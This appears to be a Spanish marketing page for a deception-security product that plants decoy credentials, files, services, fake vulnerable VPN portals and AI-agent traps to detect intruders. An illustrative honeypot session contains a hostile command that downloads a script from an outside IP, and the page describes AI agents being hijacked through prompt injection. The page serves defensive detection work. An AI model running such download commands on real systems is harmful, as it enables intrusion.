01
Credenciales robadas
Con una contraseña válida, el acceso parece legítimo.
Cuentas de Entra ID, claves de AWS y secretos que nadie usa. Un inicio de sesión con ellos es un intruso, aunque la credencial funcione.
Identidad y nube →Detección precisa.
Certeza inmediata.
Ciberengaño preventivo para empresas: trampas que solo toca un intruso, aunque use credenciales válidas. Saltan antes de que llegue a nada real y te dicen quién es y qué ha hecho.
intrusión detectada
- señuelo
- superficie · portal SSL-VPN
- origen
- 203.0.113.42 · ES
- recorrido
- vpn → backup.conf → aws-keys
- ritmo
- automatizado → humano
- mitre
- T1190 · T1552.001 · T1078
status: open · 3 señuelos · 1 episodio · procedencia: observada
50réplicas de productos reales
+30tipos de señuelo
8fases del ataque cubiertas
1aviso por ataque, no por evento
En acción
Mira cómo un ataque se queda en un señuelo.
Un intruso entra con credenciales válidas. Así lo ve NullDec, de la primera trampa a la contención.
01 · Casos de uso
Seis ataques. Una trampa para cada uno.
Los ataques más habituales contra una empresa y el señuelo que delata cada uno.
02
Movimiento lateral y ransomware
Antes de cifrar, el atacante explora tu red.
Servicios, carpetas compartidas y equipos señuelo que saltan con el primer intento de conexión, antes de que llegue a cifrar.
Red interna →03
Explotación del perímetro
Una VPN o un Citrix expuesto es la entrada más buscada.
Réplicas de tus propios productos, con vulnerabilidades que responden. Ves qué exploit prueba y qué se lleva.
Superficies de ataque →04
Secretos en código y CI/CD
Un token olvidado en un repositorio abre tu nube y tu pipeline.
Kubeconfig, paquetes internos y credenciales entregadas en cada ejecución de GitHub Actions. Si alguien los usa, sabes desde dónde.
Código y CI/CD →05
Documentos filtrados y amenaza interna
Lo que sale de tu red no avisa cuando alguien lo abre.
Documentos, buzones y enlaces señuelo que delatan a quien los abre, esté dentro o fuera.
Documentos →06
Agentes de IA manipulados
Quien engaña a tu agente hereda su acceso.
Configuraciones, herramientas y documentos señuelo que distinguen a tu agente fuera de sitio de un intruso que usa IA.
Agentes de IA →02 · Cómo funciona
Lo colocas en minutos. Salta al primer uso.
Un señuelo parece valioso, pero ningún empleado ni proceso lo necesita. Por eso, cuando alguien lo toca, empiezas con un hecho y no con una sospecha.
- 01 · ColocasEliges el señuelo y dónde ponerloDesde la consola, en minutos. Te sugerimos dónde lo buscaría un intruso.
- 02 · SaltaAlguien lo usaAbre el documento, prueba la clave o inicia sesión. No hace falta esperar a que haga daño.
- 03 · SabesRecibes un incidente, no un aviso sueltoQuién es, desde dónde, qué técnica usó y qué más ha tocado. En tu email, Slack, Telegram o SIEM.
03 · Catálogo de señuelos
Un cebo en cada sitio donde mira un intruso.
Más de treinta tipos de señuelo, de un documento a una identidad. Cada uno detecta un momento distinto del ataque, y la consola te dice dónde plantarlo para que resulte creíble.
Free
Sabes quién abre lo que no debería.
Un documento sacado de tu red, un buzón comprometido o una página interna que alguien lee sin motivo.
Documento WordWeb bugEmail canaryCódigo QR
Dónde vive: lo generas en la consola y lo colocas tú. Sin instalar nada.
Dónde plantarlo, según la consola
Nominas-2026.docxen la carpeta de RRHH- Un buzón compartido como
finanzas@que parece abandonado - Un cartel de «WiFi invitados» con un código QR
Cuando salta · ejemplo ilustrativo
Nominas-2026.docx · abierto203.0.113.42 · Microsoft Word · 23:14
Free Pro
Sabes quién usa lo que encuentra en tus repositorios.
Un kubeconfig olvidado, un paquete interno que alguien instala por error o un runner de CI comprometido.
KubeconfigPaquete npmCredenciales en GitHub Actions Pro
Dónde vive: el kubeconfig y el paquete npm los colocas tú. En GitHub Actions, NullDec entrega credenciales señuelo en cada ejecución, sin secretos guardados.
Dónde plantarlo, según la consola
- Un kubeconfig «de respaldo» en la carpeta
infra/de un repositorio - El nombre de un paquete interno en la guía de bienvenida para desarrolladores
Cuando salta · ejemplo ilustrativo
kubeconfig · GET /api/v1/secrets203.0.113.42 · kubectl · 03:02
Pro
Sabes quién usa credenciales o recursos que ningún servicio toca.
Claves y secretos que parecen de producción, y recursos que encuentra cualquiera que enumere tu cuenta.
Claves IAMSecretosBucket S3Tabla DynamoDBFunción LambdaRegistro ECR
Dos formas de desplegarlo
En nuestra cuentaSin configurar nada: lo activas desde la consola y ya está vigilando.
En tu propia cuenta · BYO IaaSRecursos reales de AWS entre los tuyos, creados con una plantilla de CloudFormation y un rol que solo gestiona sus propios señuelos. Quien enumere tu cuenta los encuentra ahí. En Azure, igual, sobre un grupo de recursos que delegas.
Dónde plantarlo, según la consola
- Un
terraform.tfvars.baken un repositorio de infraestructura - Las variables de entorno de una función Lambda
Cuando salta · ejemplo ilustrativo
aws-keys · sts:GetCallerIdentity203.0.113.42 · aws-cli · 14:37
Enterprise
Sabes quién intenta entrar con una cuenta que no usa nadie.
Usuarios y aplicaciones señuelo dentro de tu directorio. Un inicio de sesión con ellos ya es un ataque.
Usuario de Entra IDApp de Entra IDCuenta de Active Directory Acceso anticipado
Dónde vive: dentro de tu tenant, con consentimiento de administrador de un clic. La cuenta de Active Directory la crea el Agente NullDec.
Dónde plantarlo, según la consola
- Una nota de traspaso que mencione la cuenta como si fuera de servicio
- La misma unidad organizativa que tus cuentas de servicio reales
Cuando salta · ejemplo ilustrativo
svc-backup · inicio de sesión203.0.113.42 · Entra ID · 02:51
Pro
Sabes quién se mueve por tu red cuando ya está dentro.
Servicios que parecen servidores reales. Nadie legítimo se conecta a ellos: cualquier intento es movimiento lateral, y ves con qué credencial lo probó.
SSHRDPVNCFTPTelnetMySQLHTTPCarpeta de red
Dónde vive: en nuestra infraestructura o en un nodo propio dentro de tu red, para que los encuentre quien ya está dentro.
Dónde plantarlo, según la consola
- Un fichero
.rdpen la carpeta compartida de IT - Una carpeta «Backups» en un servidor de ficheros real: salta con solo verla en el Explorador
- Una cadena de conexión a MySQL en el
.envde un repositorio interno
Cuando salta · ejemplo ilustrativo
rdp · usuario admin-backup203.0.113.42 · 3 intentos · 04:10
Enterprise
Sabes a qué ha venido, no solo que ha entrado.
SSH, Telnet y HTTP que responden con IA como un sistema real. El atacante sigue trabajando, y tú ves cada comando, qué busca y qué herramientas trae.
SSH con IATelnet con IAHTTP con IA
Dónde vive: en nuestra infraestructura, sin nada que instalar. Nada de lo que escribe el atacante se ejecuta de verdad.
Dónde plantarlo, según la consola
- Un gestor de contraseñas interno, como credencial de «otro sistema»
- Un inventario de red con equipos antiguos y sus datos de acceso
Cuando entra · ejemplo ilustrativo
$ id uid=1001(svc-backup) gid=1001(svc-backup) $ ls /srv/backups db-2026-09.sql.gz vpn.conf $ wget http://203.0.113.42/x.sh
Cada sesión queda grabada, se reproduce comando a comando en la consola y llega con un resumen de lo que buscaba.
Pro Enterprise
Sabes cuándo un agente hace algo que nadie le pidió.
Configuraciones MCP, esquemas de herramientas y documentos RAG que ningún flujo legítimo usa.
Configuración MCPEsquema de herramientaDocumento RAGHerramienta MCP señuelo EnterpriseSDK de señuelos para agentes de IA Enterprise
Dónde vive: en la configuración y la base de conocimiento de tus agentes. Cómo distingue a tu agente de un intruso →
Dónde plantarlo, según la consola
- La configuración de un asistente de IA en un repositorio interno
- Una wiki indexada por tu sistema de RAG
Cuando salta · ejemplo ilustrativo
erp-finanzas · herramienta invocada203.0.113.42 · cliente MCP · 11:05
1 / 7
Todos se despliegan desde la consola y se pueden encadenar en una campaña. Comparar planes →
04 · Superficies de ataque Enterprise
Una VPN que no existe.
Una réplica completa de un producto real, como tu VPN, tu GitLab o tu vCenter, bajo un nombre de tu dominio. Muchas muestran una vulnerabilidad conocida para que el atacante crea que ha encontrado un hueco.
Acceso remoto · SSL-VPN
Usuario
j.moreno
Contraseña
••••••••••
Iniciar sesión
Firmware 7.2.4 · © Corporate Network Access
Usuarios de VPN · 214 activos
| Usuario | Grupo | Último acceso |
|---|---|---|
| a.garcia | Finanzas | hoy 08:41 |
| svc-backup | Sistemas | hoy 03:00 |
| j.moreno | Dirección | ayer 19:12 |
| proveedor-erp | Externos | hace 3 días |
Copias de configuración
backup-vpn-2026-09.conf [aws] aws_access_key_id = AKIA•••••••••••• aws_secret_access_key = •••••••••••••••• [ldap] bind_dn = cn=svc-vpn,ou=servicios
Estas credenciales son señuelos: saltan en otro sitio cuando se usan.
Ejemplo ilustrativo · lo que ve tu equipo
- 09:12:01DescubreUn escáner encuentra el portal y consulta su versión. IP, herramienta y huella de la petición.
- 09:14:37ExplotaPrueba un exploit público contra la versión anunciada, y «funciona». La carga completa del intento.
- 09:15:02EntraNavega por el panel: usuarios, grupos, accesos, todo coherente entre sí. Cada ruta, comando y tiempo.
- 09:21:48Se llevaDescarga una copia de configuración con credenciales dentro. Qué se llevó.
- +1 díaUsaLas credenciales eran señuelos y saltan en tu AWS desde otra IP. Dónde lo usa.
Coherente en cada prueba
La misma empresa, las mismas personas y los mismos ficheros en la primera prueba del atacante y en la décima.
Las vulnerabilidades responden
Inyección SQL, recorrido de directorios o una webshell reciben respuestas creíbles. Nada de lo que envía se ejecuta.
Secretos que llevan a otro sitio
Guarda credenciales de tus otros señuelos: lo que se lleva salta después en otro lugar.
50 productos en 10 familias
FortiGatePalo Alto GlobalProtectCisco AnyConnectCitrix GatewayGitLabJenkinsVMware vCenterOutlook Web AppJiraSAP NetWeavery 40 más
05 · Campañas de engaño Enterprise
Sabes por dónde entró, a qué ritmo y qué se llevó.
Una campaña encadena señuelos del catálogo y superficies: cada uno guarda la pista del siguiente. En vez de alertas sueltas, recibes el recorrido completo del atacante, con tiempos.
Ejemplo ilustrativo · lo que cuenta una campaña
- 09:12:05 · EntradaIntranet falsaDescarga su
.env, que nombra un bucket. - +4 sreferencia a recurso
- MovimientoBucket S3Lo lista con lo que ponía el
.env.Ritmo de herramienta automática - +7 mincredencial de AWS
- MovimientoClave de AWSLa encuentra dentro de un volcado.Ritmo de una persona leyendo
- +1 díauso fuera de sitio
- ExfiltraciónProbadaUsa la clave desde otra IP: sacó algo, no solo entró.
01
NullDec la propone
A partir de tu nube, tu identidad y tus superficies, y te explica por qué elige cada señuelo.
02
Tú la apruebas
La revisas nodo a nodo en un lienzo. Nada se crea sin tu aprobación, y queda registrada.
03
Se mantiene sola
Si una credencial rota y un cebo deja de llevar a ningún sitio, lo recoloca. Si el atacante avanza, planta el siguiente en su camino.
06 · Engaño preventivo
El cebo llega antes que el atacante.
NullDec no espera a que entren: mira lo que expones, aprende de lo que pasa en organizaciones como la tuya y coloca los señuelos donde el atacante va a buscar.
01 Enterprise
Tu exposición, con gemelo señuelo
Encuentra lo que tus dominios enseñan a internet, solo desde fuentes públicas, y propone una superficie gemela que lo vigila mientras lo corriges.
02 Pro
Aviso anticipado
Si un atacante toca a organizaciones con tu tecnología o de tu sector y aún no a ti, lo sabes antes. Sin nombrar a nadie.
03 Enterprise
Colocación autónoma
Dentro de los límites que apruebas, NullDec planta el siguiente cebo en el camino del atacante y retira los que caducan.
Un señuelo no tiene uso legítimo. Por eso no hay umbral que ajustar: su activación es un hecho, no una probabilidad.
07 · Señuelos para agentes de IA
¿Es tu agente o es un intruso?
Tus agentes leen documentos, configuraciones y herramientas, y actúan sobre lo que leen. Quien los engaña hereda su acceso. NullDec planta señuelos justo ahí.
{
"mcpServers": {
"github": { "command": "github-mcp" },
"erp-finanzas": {
"url": "https://mcp.example.com/erp",
"headers": { "Authorization": "Bearer ••••" }
}
}
}Ningún flujo legítimo usa erp-finanzas. Si un agente lo invoca, es un hecho, no una anomalía que interpretar.
1Un agente usa el señuelo: la configuración MCP, un documento RAG o una herramienta falsa.
¿Sale desde la red que has declarado para tus agentes?
Sí
Tu agente, fuera de sitio
Posible inyección de instrucciones: revisa qué le pidieron y qué leyó antes.
No
Un intruso que usa IA
Queda la huella del cliente MCP que la invocó: su nombre y su versión.
Esa dirección la pone la red, no quien llama: es un dato, no una suposición.
Configuración MCP Pro
Esquema de herramienta Pro
Documento RAG Pro
Herramienta MCP señuelo Enterprise
SDK de señuelos para agentes de IA Enterprise
08 · Inteligencia y respuesta
Cada activación es evidencia, no una hipótesis.
Un ataque, un aviso
La misma IP sobre el mismo señuelo en 24 horas es un solo episodio: el primer aviso sale al momento y el resto llega agrupado.
Técnicas del atacante, con evidencia
Cada señal con su técnica y su táctica de MITRE ATT&CK, distinguiendo lo observado de lo inferido.
Puntuación explicable
De 0 a 100, con el desglose de dónde sale cada punto.
Correlación entre clientes Pro
Si la misma huella toca a varios clientes, se agrupa. Solo se cruzan datos del atacante, nunca los tuyos.
Resumen con IA Pro
Qué ha pasado y qué hacer, en cada alerta. Opcional y etiquetado como IA.
Tu SIEM Enterprise
Una API con clave propia desde la que tu SIEM recoge las señales, y tu inteligencia en STIX 2.1 por exportación o por TAXII 2.1.
Enterprise
De la alerta a la contención, con lo que ya tienes.
Una regla, o la propia campaña según lo lejos que llega el atacante, decide qué hacer: aislar el equipo en Defender, CrowdStrike, SentinelOne o Sophos, cerrar sus sesiones en Entra ID u Okta, revocar la credencial señuelo, bloquear la IP en Cloudflare o avisar a tu SOAR.
- Condiciones sobre la alerta: puntuación, país, operador, Tor o VPN, señuelo, técnica o actor.
- La respuesta escala con el avance: bloquear al entrar, contener al moverse y cortar identidades al llegar al final.
- Empieza en simulación, se activa con MFA y las acciones que cortan algo esperan a que una persona las confirme.
Si
threat.score:>80 AND source.is_tor:trueEntoncesAislar el equipo en Defender · Cerrar sus sesiones en Entra ID
ModoSimulación · se activa con MFA
Últimas 24 h · 1 coincidencia · se habría aislado 1 equipo y cerrado 2 sesiones de 203.0.113.42
09 · Planes
Empieza gratis. Escala a inteligencia colectiva.
Free para tus propios señuelos. Pro suma la inteligencia colectiva. Enterprise añade Superficies, Campañas y la integración con tu SOC.
Free
0 €
Registro abierto
- 7 tipos de señuelo sin instalación
- Hasta 5 señuelos activos
- Consola web y alertas propias
- Notificaciones por email y Telegram
Recomendado
Pro
30 días gratis
Sin tarjeta · al acabar, eliges plan o vuelves a Free
- Servicios señuelo sin tope (SSH, RDP, VNC…) y carpeta de red
- Señuelos para agentes de IA: MCP, herramientas y RAG
- GitHub Actions, y AWS o Azure en nuestra cuenta o en la tuya
- Radar de inteligencia colectiva y narrativa con IA
- Aviso anticipado y recomendaciones preventivas
- Alertas en vivo, Slack e informe PDF para tu auditor
Enterprise
Hablemos
Te proponemos precio a medida en 24-48h
- Todo lo de Pro, con vista multicliente para MSP
- Honeypots de alta interacción con IA y Entra ID
- SDK de señuelos para agentes de IA
- Superficies y campañas encadenadas
- Engaño preventivo: planta los señuelos recomendados con un clic
- API, STIX y TAXII 2.1, y contención con tu EDR y tu proveedor de identidad
- SSO por OIDC, auditoría exportable y SLA
- Agente NullDec, en acceso anticipado
Free no caduca. La prueba de Pro dura 30 días y no pide tarjeta.
MSP y MSSP
¿Gestionas la seguridad de varios clientes?
Con Enterprise los ves a todos en una sola vista, despliegas con paquetes guiados y los datos de cada cliente quedan aislados.
10 · Preguntas frecuentes
Lo que nos preguntan antes de empezar.
¿En qué se diferencia de mi EDR o mi SIEM?
Tu EDR y tu SIEM buscan lo que parece raro entre millones de eventos legítimos. Un señuelo no tiene uso legítimo, así que su alerta es un hecho. NullDec no los sustituye: les da señales de alta confianza.
¿Un señuelo puede dar falsos positivos?
Pocos y conocidos: escáneres de internet, analizadores de enlaces del correo y la actividad propia de la nube. NullDec los separa del ataque.
Una réplica vulnerable bajo mi dominio, ¿aparecerá en escaneos externos?
Puede aparecer, porque está pensada para que la encuentren. No contiene datos reales y nada de lo que recibe se ejecuta. Regístrala como señuelo en tu inventario de activos y cualquier hallazgo externo se identificará como tal.
¿Qué datos salen de mi red?
Por defecto, ninguno: solo recibimos la interacción con el señuelo, y se aloja en la UE. Las integraciones son opcionales, con permisos mínimos que puedes retirar. Nunca compartimos tus datos con otros clientes.
¿Usáis IA? ¿Con qué datos?
Para responder al atacante en los honeypots de alta interacción y, si lo activas, para resumir cada alerta. Todo texto generado va etiquetado como IA.
¿Cómo sé que mis señuelos siguen funcionando?
La consola comprueba la cadena de detección de punta a punta y te enseña la eficacia de cada señuelo. Si uno deja de poder avisar, lo sabes antes de necesitarlo.
¿Qué incluye una prueba de concepto?
Alcance, duración y criterios de éxito acordados antes de empezar. Al final revisamos juntos la señal real y la cobertura.
Planta tu primer señuelo hoy.
Crea una cuenta gratuita y despliega tu primer señuelo en minutos.